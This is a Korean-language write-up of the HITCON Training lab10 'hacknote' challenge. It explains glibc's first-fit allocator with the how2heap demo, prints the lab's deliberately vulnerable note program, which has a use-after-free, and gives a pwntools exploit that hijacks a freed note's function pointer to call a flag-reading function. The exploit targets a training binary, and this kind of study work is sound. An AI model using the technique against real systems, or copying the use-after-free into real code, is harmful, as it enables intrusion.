HITCON Training lab10 (first fit, uaf)

First fit?

• 메모리 할당 알고리즘 중 하나로 First-fit 뿐만 아니라 Best-fit, Worst-fit이 있다.
• Best Fit은 사용가능한 메모리를 찾고, 그 중 가장 작은 메모리에 할당한다.
• Worst Fit은 사용가능한 메모리를 찾고, 그 중 가장 큰 메모리에 할당한다.
• First Fit은 사용가능한 메모리에서 가장 처음 발견한 곳에 할당하는 것을 의미한다.

How2Heap, First

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
	fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
	fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

	fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(0x512);
	char* b = malloc(0x256);
	char* c;

	fprintf(stderr, "1st malloc(0x512): %p\n", a);
	fprintf(stderr, "2nd malloc(0x256): %p\n", b);
	fprintf(stderr, "we could continue mallocing here...\n");
	fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	fprintf(stderr, "first allocation %p points to %s\n", a, a);

	fprintf(stderr, "Freeing the first one...\n");
	free(a);

	fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

	fprintf(stderr, "So, let's allocate 0x500 bytes\n");
	c = malloc(0x500);
	fprintf(stderr, "3rd malloc(0x500): %p\n", c);
	fprintf(stderr, "And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
	fprintf(stderr, "first allocation %p points to %s\n", a, a);
	fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

how2heap에서 부가적으로 first fit에 설명하는 것을 보면, a와 b를 malloc으로 각각 0x512, 0x256 크기로 할당했다. 이후 a를 해제하고 c라는 새로운 변수를 동적할당한다. 크기는 0x500이다. 그리고 c의 주소를 살펴보면 a의 이전 주소와 동일하다.

a의 크기가 0x512였고, 메모리를 해제 했으므로, 0x55b09c7982a0 주소는 빈 공간이다. 이때, 0x500의 공간을 요청하는 c를 같은 공간에 할당하는 것이다. 이러한 이유로, UAF가 발생할 수 있다.

a = malloc(32) #0x1111
b = malloc(32) #0x2222
c = malloc(32) #0x3333

free(a)
free(b)
free(c)

d = malloc(32) #0x3333
e = malloc(32) #0x2222
f = malloc(32) #0x1111

추가적으로, 메모리가 해제(free)되면 bin이라는 연결리스트에서 관리하게 되는데 이 구조가 LIFO이다. (사실 해제되는 메모리의 크기에 따라 bin의 종류가 다름. Fastbin, Smallbin, Largebin 등) 그래서 위와 같은 코드가 실행된다면, 다음과 같이 메모리 해제와 할당이 진행될 것이다

head -> a -> tail
head -> b -> a -> tail
head -> c -> b -> a ->tail
-------free()--------
head -> b -> a -> tail
head -> a -> tail

이와 같은 사실을 인지하고 Lab 10을 살펴보자.

Lab 10

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

struct note {
	void (*printnote)();
	char *content ;
};

struct note *notelist[5];
int count = 0; 

void print_note_content(struct note *this){
	puts(this->content);
}
void add_note(){
	int i ;
	char buf[8];
	int size ;
	if(count > 5){
		puts("Full");
		return ;
	}
	for(i = 0 ; i < 5 ; i ++){
		if(!notelist[i]){
			notelist[i] = (struct note*)malloc(sizeof(struct note));
			if(!notelist[i]){
				puts("Alloca Error");
				exit(-1);
			}
			notelist[i]->printnote = print_note_content;
			printf("Note size :");
			read(0,buf,8);
			size = atoi(buf);
			notelist[i]->content = (char *)malloc(size);
			if(!notelist[i]->content){
				puts("Alloca Error");
				exit(-1);
			}
			printf("Content :");
			read(0,notelist[i]->content,size);
			puts("Success !");
			count++;
			break;
		}
	}
}

void del_note(){
	char buf[4];
	int idx ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= count){
		puts("Out of bound!");
		_exit(0);
	}
	if(notelist[idx]){
		free(notelist[idx]->content);
		free(notelist[idx]);
		puts("Success");
	}
}

void print_note(){
	char buf[4];
	int idx ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= count){
		puts("Out of bound!");
		_exit(0);
	}
	if(notelist[idx]){
		notelist[idx]->printnote(notelist[idx]);
	}
}

void magic(){
	system("cat /home/hacknote/flag");
}


void menu(){
	puts("----------------------");
	puts("       HackNote       ");	
	puts("----------------------");
	puts(" 1. Add note          ");
	puts(" 2. Delete note       ");
	puts(" 3. Print note        ");
	puts(" 4. Exit              ");
	puts("----------------------");
	printf("Your choice :");
};

int main(){
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	char buf[4];
	while(1){
		menu();
		read(0,buf,4);
		switch(atoi(buf)){
			case 1 :
				add_note();
				break ;
			case 2 :
				del_note();
				break ;
			case 3 :
				print_note();
				break ;
			case 4 :
				exit(0);
				break ;
			default :
				puts("Invalid choice");
				break ;

		}
	}
	return 0;
}

기능은 크게 4가지로 나눌 수 있다. Add, Delete, Print 다. add_note( )에서는 구조체 note의 배열인 notelist에 사용자가 입력한 size와 content를 입력받는다. 이때, malloc( )은 notelist[i], notelist[i]->content 2번의 할당을 진행한다. del_note( )에서도 마찬가지로 notelist[idx]->content, notelist[idx] 순으로 메모리를 해제한다. 우리의 목표는 magic( ) 함수를 실행하는 것이다. 만약, 다음과 같이 메모리를 할당하고 해제한다면 시스템은 free된 chunk를 어떻게 관리할까?

add_note(idx=0)
add_note(idx=1)

del_note(0)
del_note(1)

첫 번째 add_note()를 하면, notelist[0] , notelist[0]->content 가 차례로 할당되고, 두 번째에서는 notelist[1], notelist[1]->content가 할당될 것이다. 그리고 del_note(1)을 실행하면, 아래와 같은 구조로 관리될 것이다.

head --> notelist[1] --> notelist[1]->content --> notelist[0] --> notelist[0]->conetnt --> tail

notelist[idx] 크기는 8bytes(포인터 2개), notelist[idx]->content의 크기는 사용자가 입력한 값에 따라 달라질 것이다. 우리는 first fit이라는 구조를 이용하여, notelist[idx]에 원하는 값을 덮어쓸 수 있다. 해당 구조에서 8bytes를 할당요청한다면 시스템에서는 notelist에 할당할 것이다. 이때, 유의할 것은 add_note()에서 malloc이 2번 진행된다. 따라서 8bytes 크기로 add_note를 실행하면 notelist[1]의 주소는 notelist[i]에 할당되고, notelist[0]의 주소는 notelist[i]->content에 할당될 것이다. 작성한 공격코드는 다음과 같다.

from pwn import *
context.log_level = 'debug'

p = process('./hacknote')
magic = 0x8048986

def addNote(size, content):
    p.recvuntil('choice :')
    p.sendline('1')
    p.recvuntil('size :')
    p.sendline(size)
    p.recvuntil('Content :')
    p.send(content)

def delNote(idx):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(idx)

def printNote(idx):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(idx)

addNote('20', "A"*20)
addNote('20', "B"*20)
delNote('0')
delNote('1')
addNote('8', p32(magic))
printNote('0')
p.recv(100)